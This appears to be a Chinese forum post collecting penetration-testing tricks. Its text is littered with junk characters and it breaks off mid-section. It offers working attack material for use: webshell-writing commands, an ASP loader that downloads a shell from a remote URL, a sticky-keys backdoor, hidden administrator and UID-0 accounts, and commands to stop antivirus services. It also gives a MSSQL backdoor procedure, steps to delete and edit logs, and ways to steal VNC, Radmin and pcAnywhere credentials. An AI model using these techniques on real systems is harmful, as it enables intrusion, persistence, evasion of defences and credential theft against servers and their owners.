渗透技巧总结

admin

旁站路径问题
+ z& ^7 }* u( R4 Z. \1、读网站配置。
2、用以下VBS
% b% G6 |- @) o+ o2 ?On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
! L7 z7 K* _3 M7 d- X3 v4 V4 P, E        
4 w" {$ y: h2 X
0 p6 r$ h, Y  oMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
0 D& d' O" s) I2 ]
; d% |0 V+ Q  h2 s* H  x2 q" GUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
5 A# [8 c, a# \: ^$ x& a* W
7 d/ s3 C, i1 p$ ?' j("IIS://LocalHost/W3SVC")
' u5 S, o0 _$ o( f" GFor Each obj3w In objservice
' U- H5 h7 \  t. ]0 ?. ?" A% R; N        If IsNumeric(obj3w.Name)

3 k6 W9 a; X1 {) ?Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
/ ?, L! v7 c4 I0 ]         

5 P0 S6 \% B# Y! Q       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

) T, [: k& n# u. [! m<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
9 N4 L' h, V+ d; H) r" h5 B( c; E& q
' ~  b- m; r5 b) N: UOService.ServerComment & "]"
0 S9 f8 f) `0 t% ]- E                For Each Binds In OService.ServerBindings
     
6 i6 z: }4 N, F9 D
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
7 w" i$ Z( }% q: V5 d/ Y
. G3 H0 N- M! x, K8 r5 NWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
8 F9 O$ ~4 E3 k                Next
      
* a( a6 J* D) B4 T
         WScript.Echo "ath            : " & VDirObj.Path
        End If
1 a% U7 [; s+ a3 Y& W" X4 ENext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
' z5 ]4 T( j$ PWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
, _4 L0 X+ U4 _2 p( e# _& r6 ZphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
$ x" l- \- W9 z2 iphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
# L9 ^+ ?, }- m0 u/ }2 r# tdata/htdocs.网站/网站/
- l  w! m2 t* d% M————————————————————
CMD下操作VPN相关
/ \" _0 K) G8 j' Y8 m  Hnetsh ras set user administrator permit #允许administrator拨入该VPN
3 @5 I7 D; p, J- o: ]  c$ H) Lnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
5 _3 R. X! N& n0 V4 `: P/ cnetsh ras ip show config #查看VPN分配IP的方式
/ {4 c/ o1 m" e( ?2 x, Unetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
) F# x" u; c6 }7 K" N1 L————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
3 `& c! g7 \9 I' v9 j" w4 E- s0 VEXEC sp_addsrvrolemember 'test, 'sysadmin'
; ~" W. J/ R4 j/ z( u然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
/ Y/ U, I4 r$ o! G7 q# H
1 g/ m+ d6 R/ |5 m4 b另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
4 X+ j5 i% d" a# Uvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
& M+ R" I5 s* s; g& ^9 ]$ s' }z.setting("AccountType")=3;
" C3 K/ }0 w3 ?' Z0 F2 j
4 V) v* x; k  f1 [2 x5 _3 A7 Ovbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
: X0 h) @1 S& G! B; F3 R6 k# Mz.setting("AccountType")=3
# C* {% V* j5 D——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
, Q. z5 L; G% Ucacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
; Z0 W- y1 a5 u, r  Q. ~# I: t' {c、终端服务器超出了最大允许连接
/ v3 p8 q4 D; ?XP 运行mstsc /admin
2003 运行mstsc /console   
1 K; E% ?/ `$ N6 k2 o# K+ r; r
& {. @5 q9 s7 N+ d8 b, o杀软关闭（把杀软所在的文件的所有权限去掉）
9 f4 E$ J3 n) P6 l2 A6 \) a处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
! _' p& S2 U4 k- k/ x1 qnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
, L" W/ l* j: M6 J8 M" {net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
0 u9 A1 P! z5 z9 V) w
卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
( \1 l: z$ D1 V) `5 G  }0 K3 u+ f" Rcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
7 w3 d: O' C# ^——————————————————————
( h2 E5 p$ v5 E/ ~9 |隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
. A4 ~: ]. l0 Z& I2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
$ N% e/ K# R/ `8 U- l——————————————————————
MSSQL扩展后门：
+ p" o$ j/ p7 v5 M% AUSE master;
& w3 o2 L  G) O( M! MEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
3 `/ [3 I/ m; w$ b4 OGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
% K1 W4 j- d9 [& E+ v5 {5 H# TC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
) {' {) ~& Y) }' R不成功，“原文件...正在使用”
( Q5 |: m; |4 ]& ^, g; S当然可以直接删除ex011120.log / ex011121.log
' @' I0 O( K1 C% T! x7 @用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
, ^3 u* d6 H9 s% S! U: b
0 G9 r; _9 w& y2 x- n: V) e# HMSSQL查询分析器连接记录清除：
3 b2 _! ^1 x, oMSSQL 2000位于注册表如下：
. p1 v5 f; c* x4 I) Q% \! SHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
6 Z; e5 R, A0 m! x. N$ c7 F5 XMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

0 @8 B# |9 M" Z! f; R' M7 T0 JServer\90\Tools\Shell\mru.dat
' `$ [4 a4 u3 L4 V1 [—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
% Q. |9 n* s2 N$ z9 K5 I
2 N6 J* F) }: k' P1 W0 r! @7 u<%
& b# H3 V  H% x$ S$ B+ SSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
5 [3 d" `% Q4 v) R5 aOn Error Resume Next
. ^9 Z( Z2 {' R8 HSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
# P+ m9 A2 }* R! M: K$ gWith Retrieval
4 I6 u# o+ t0 U% R, I: h" n.Open "Get", s_RemoteFileUrl, False, "", ""
% p" A; H1 h: \% I.Send
. \- t. \  J& q8 ]GetRemoteData = .ResponseBody
7 W8 [- i6 V1 R+ M3 MEnd With
1 ~) K. \; w- ^" g7 F- F( \Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
3 u" ?% W* g) t: K. D- N# @With Ads
.Type = 1
0 d# p2 x5 \* c4 L6 E.Open
.Write GetRemoteData
- R& F2 e& Q6 Q8 k& z8 V.SaveToFile Server.MapPath(s_LocalFileName), 2
6 V" U: H4 L4 i4 r.Cancel()
.Close()
End With
( D5 G+ x& ~9 qSet Ads=nothing
End Sub
! ^% F  u# ?" Y; B" D
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
/ U  ^& e$ c8 I8 D, ]  h" f8 }3 k" x
- f- ]1 R: D: h1 e9 WVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
' T" ?3 v* E; _8 w5 N3 j+ T; Aregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
. c) N8 v5 |! _Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
: C( L) Z' u" EHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
' N7 x9 z7 X' }' yUsers\Application Data\Symantec\pcAnywhere\文件夹下。
# Q- w: B2 h$ c3 |. i' c9 I. O" N9 H8 o——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
) n" l0 F- z' F" [5 @WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
) E! _3 g$ K) q5 Q$ _' w" x7 N  I
9 I; @, @+ ~. f; `* u' }* x1433 SA点构建注入点。
9 v. n6 V- _: B1 }( m<%
4 J! j4 Z4 u* t+ {0 V5 LstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
4 g. y6 b, _5 D' b/ f& K- gstrSQLDBName = "数据库名称"
" [* J4 c/ L* R- J4 `- {4 |Set conn = Server.createObject("ADODB.Connection")
. ]* k; |' {/ I! hstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
6 r5 r8 u& u0 b" O" V
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
# Y$ j) R4 K; ^1 u, E/ Mid = request("id")
) L. g# Y; S4 x& m2 x# Y6 x; W+ h$ astrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
2 ~5 V: p- v/ J9 E. G/ U' krs.close
%>
, j+ T8 `1 F* o. a7 |. f复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
3 B% z  [0 p: _$ b$ X; U
2.less /etc/ldap.conf
: R, N8 A* P2 w: lbase ou=People,dc=unix-center,dc=net
1 n4 f) ~; u. T& ^找到ou,dc,dc设置

3 a) S. x2 |1 v$ d% b& S3 h; f3.查找管理员信息
匿名方式
! [- ~4 y! y9 H  ^' p3 R2 Aldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; H! f( a1 z( i5 k
& c  J  l1 K% \& X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: W7 ^+ c9 W- e3 x有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

! S: p* i3 P6 h' f0 w- ~# b, f"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ m' B" c6 {9 H% y$ Y7 S1 ?# s

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
- m5 R3 q. S1 P5 U( G
实战:
" o! H% X; D/ f5 k! A4 R  p4 R1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
' |8 N& ?6 L$ z6 Y9 F& C5 e9 h& X
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
$ i6 J; z/ x1 ]1 |找到ou,dc,dc设置
! t0 K2 @8 n" M  I2 s
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
) u9 x& s& {( o% z9 H1 ~  H
( v  y( u0 H9 i"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ e5 c, g$ [' F- t) \1 W/ }: B有密码形式
' N1 I( \1 P8 A, ildapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
- u  @  y( d2 Y  z' t6 J
! w, ~! j) u: X5 d6 N& {+ x"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: ?5 B9 U# ?6 }7 Y

4.查找10条用户记录
$ _- w! Q9 I! s: e6 m0 s9 tldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
% |" {; i& u8 u& K7 x$ C  s3 _5 J
渗透实战:
; f. a2 m% h" M! F2 t/ {8 n1 N4 [( ?1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
6 {2 o5 B) N" U$ K! jdc: ruc
9 V  c- ?7 y) T. z$ k' R8 EobjectClass: domain
6 _5 H' l: p" M& k$ x' O
! Z: n0 s; ^4 [, v* S$ ^9 tdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
  {6 h3 ^* K: l* k# HobjectClass: inetOrgPerson
- L8 p' }  J% r8 o4 i- m, ZobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager
- B1 F! M/ t2 T0 x2 G0 S' t
3 c# S! Z. V# A8 R4 ?1 Mdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
7 l) l* \3 h9 VobjectClass: top
0 m+ k. X5 t. m: |; Wsn: superadmin
. A  b% k" s# V3 w; X, l* Bcn: superadmin
; v1 a3 `* _0 C( |5 O
. S( @% U3 j- [9 `dn: uid=admin,dc=ruc,dc=edu,dc=cn
7 f# z) d% G2 auid: admin
objectClass: inetOrgPerson
$ X6 e# p' B( wobjectClass: organizationalPerson
objectClass: person
objectClass: top
6 z8 \0 I7 T" S" c1 `2 r* Fsn: admin
2 R+ K7 {3 Y, E6 d9 ]cn: admin
: {4 h, V" P5 j" Q/ O8 V4 i. ^
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
( S7 B4 |4 _: u# A1 K; _) bobjectClass: person
$ g" d# P7 D9 W5 O# gobjectClass: organizationalPerson
6 W9 O+ b- e# U* _0 L, a  dobjectClass: inetOrgPerson
sn: dcp_anonymous
# R+ g0 P/ v# T; vcn: dcp_anonymous

9 O2 S9 H$ B7 \2.查看基类
+ t- ~- m% P( Sbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
5 n8 ^5 B! f1 j: X6 K* l7 f
6 b6 d) _+ i: b4 j" d; t3.查找
( L% X) J. V+ J7 E' vbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
1 J  D! [+ r, u, w2 r+ W$ P6 ^- Sversion: 1
) K4 V4 o; i8 @3 z, U& C+ tdn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
! z" u1 U0 n5 ]4 {2 k( V2 [: {6 xsupportedExtension: 2.16.840.1.113730.3.5.7
3 c5 [4 A' G. s7 y# S; t% fsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
9 O5 N- N+ L4 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
9 Z5 b" l% e' A+ e" A- [supportedExtension: 2.16.840.1.113730.3.5.3
1 L4 `! L$ c7 q: i% X# `supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
- o0 w1 W0 A" Z% r  F" L6 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
9 s. Z9 f2 N% l) T' m, h( @, AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
7 p% K8 V, k. K7 z5 @9 f  esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
* q' h! z' x2 }0 w3 w2 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
! l0 i3 G( Q$ ?: qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
4 Y8 Q  E6 R* ~$ q6 P0 Z! _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
% v3 ?5 C4 O' T/ U5 I! t8 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
6 `) J7 M5 s' L% X' z7 Q7 ]* S' d; csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
. S6 y  {/ ]  ^% AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
! O" e4 K2 ]3 ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
* T; P0 h2 _4 K7 v2 X( q! i: f5 ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
5 E0 ^* O3 |8 }) U1 m: RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
% U# Z2 e7 o8 \4 F* X- Q9 d1 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
. |: W- N5 {5 H3 Y; B3 k( ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
# _! N5 J+ ?) x* `6 T9 F! esupportedExtension: 1.3.6.1.4.1.4203.1.11.3
. R* S' E3 w. i1 k  w; ]: n! }" tsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
4 R- `8 a- M& ]- s0 vsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
6 y4 M* Z4 `, O' h1 V- rsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
' F# d% s) Q: x6 A+ H# t3 D) y" J- VsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
. w6 v3 s' z; D  W2 TsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
5 `9 {1 V- q# wsupportedControl: 1.3.6.1.4.1.1466.29539.12
  j* i  e! x1 ^  s1 RsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
9 m' l  }$ J# Z6 d) \supportedSASLMechanisms: EXTERNAL
7 c+ h  H) ?( v, V% m( tsupportedSASLMechanisms: DIGEST-MD5
/ d, R$ p8 @# j6 r$ \9 F4 TsupportedLDAPVersion: 2
supportedLDAPVersion: 3
  u3 z2 k: u5 a; J$ O" D, wvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
4 f1 r, W- d$ l* }. B1 m- UsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
/ Q2 ^: i" H3 _# j7 [! @4 J) k# [supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
" N0 b1 b+ b/ z; z& u0 SsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
/ O! M3 e6 {& |; k% t7 ]supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
1 m1 Q! _: H- s% K% E7 x$ GsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
% n; q) N* p  \/ L+ H9 h: \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
' m% b6 W# y3 P  o6 `7 s( T$ XsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
8 G" {5 W  ]) U. b, hsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
2 s: O" ?2 p$ Z! {  c4 h$ msupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
7 B, F" R* c1 [2 {! B1 osupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
& m# P3 B: _' ]9 v$ TsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
* l" ?0 h2 {( y" |0 C" o6 q/ csupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
0 [. u0 X0 H6 Y7 e) U! N# IsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
$ q5 ^1 n( B% }9 B3 S. msupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
7 K7 J$ G8 E/ {supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
( U: Z; w# E" ksupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
9 B) t/ o' P0 I/ M$ |supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
) D- ~' ?/ }5 c- C# OsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
! L' C  g+ S% V/ U, |1 w' b3 UsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
0 M/ r0 n) n4 T% AsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
+ q2 w. x) T% U. zsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
; p- y4 ?# X$ r4 G+ A- GsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
5 q1 U; s8 U% h3 T4 X, I& vsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
/ }: i6 B9 n* V6 v9 Q& f& w8 i0 ~supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
* J& g0 H" W) n4 Z: [4 G6 ssupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
$ c! A6 m$ m8 D! F# v) _supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
. r/ B' s9 N9 H6 q! {/ C7 q0 `7 XsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
) Z5 _3 e' K5 |+ O+ o1 `supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
: X% u6 l- d2 _; o" k/ Z  isupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
0 p* A) n* s! B2 M8 y9 v, D2 w% q6 IsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
, W' C  C7 b( y! r) b: Q  xshowmount -e ip
列举IP
——————
3 d9 u. R: g9 ?3.rsync渗透技巧
# I) g2 x# i: g  N) Z3 Z; h% y1.查看rsync服务器上的列表
rsync 210.51.X.X::
( R8 g2 u5 S: E/ [3 ~6 afinance
img_finance
auto
img_auto
4 A: j' H( |* ^' Q/ S! G+ n( W7 w5 ~html_cms
# n; w- I# p% Nimg_cms
ent_cms
9 r; m2 }. @( E( e$ [5 {ent_img
ceshi
res_img
( |( ?# f7 p8 M, A& N3 c. mres_img_c2
; f5 [% {# }8 |2 |/ bchip
* C2 J0 N: i7 cchip_c2
ent_icms
( _1 u+ a: N0 {, W, ]4 k. Ogames
' g- \; m+ l" U# q: xgamesimg
media
; a2 H. @% j* P, {- V, Kmediaimg
5 K% l$ i! S' ?4 kfashion
res-fashion
res-fo
# W3 r% `2 p: R$ U7 e  Ytaobao-home
res-taobao-home
$ `1 ?  b' E0 J; u6 f3 Fhouse
res-house
res-home
res-edu
res-ent
$ M- }+ Q' J! r$ j4 w) |# d, Hres-labs
res-news
res-phtv
res-media
7 L7 \0 i0 b. L/ }/ Z( \home
' i6 x6 |) ?. w$ x; I2 |9 @edu
news
9 ]4 M) v8 s/ r* K) u& Vres-book
, D7 M% l) n" E* s) q$ b
' c8 p# M1 B  i7 ]看相应的下级目录(注意一定要在目录后面添加上/)

" J0 D1 Y; I; ?9 J2 D' ^+ B
3 ]/ H' t/ T0 R8 ]* Y5 w" ersync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
5 l3 i( [+ Y& h
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

% C9 \$ q0 J0 I* ~3.向上更新rsync文件(成功上传,不会覆盖)
6 [+ r& X. I2 Z0 K& `3 crsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

) `5 q; S) G5 h8 a0 l2 G& @" Q四.squid渗透技巧
: `* `: U" n6 I) ~$ inc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
- G( }6 C' H6 z" c五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
% v2 m8 S/ n6 p确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
* P+ k+ }+ U! S$ m9 _" s
15&catid=32:languages&Itemid=47

重新设置密码
0 B5 E  n' P5 zindex.php?option=com_user&view=reset&layout=confirm
7 g; B: X+ d9 c
) I& H2 U( B: D+ W七: Linux添加UID为0的root用户
( l! @* z+ R. @: P7 x: euseradd -o -u 0 nothack

3 ]+ n1 _# ^3 a) {& f* t! G2 x5 a八.freebsd本地提权
[argp@julius ~]$ uname -rsi
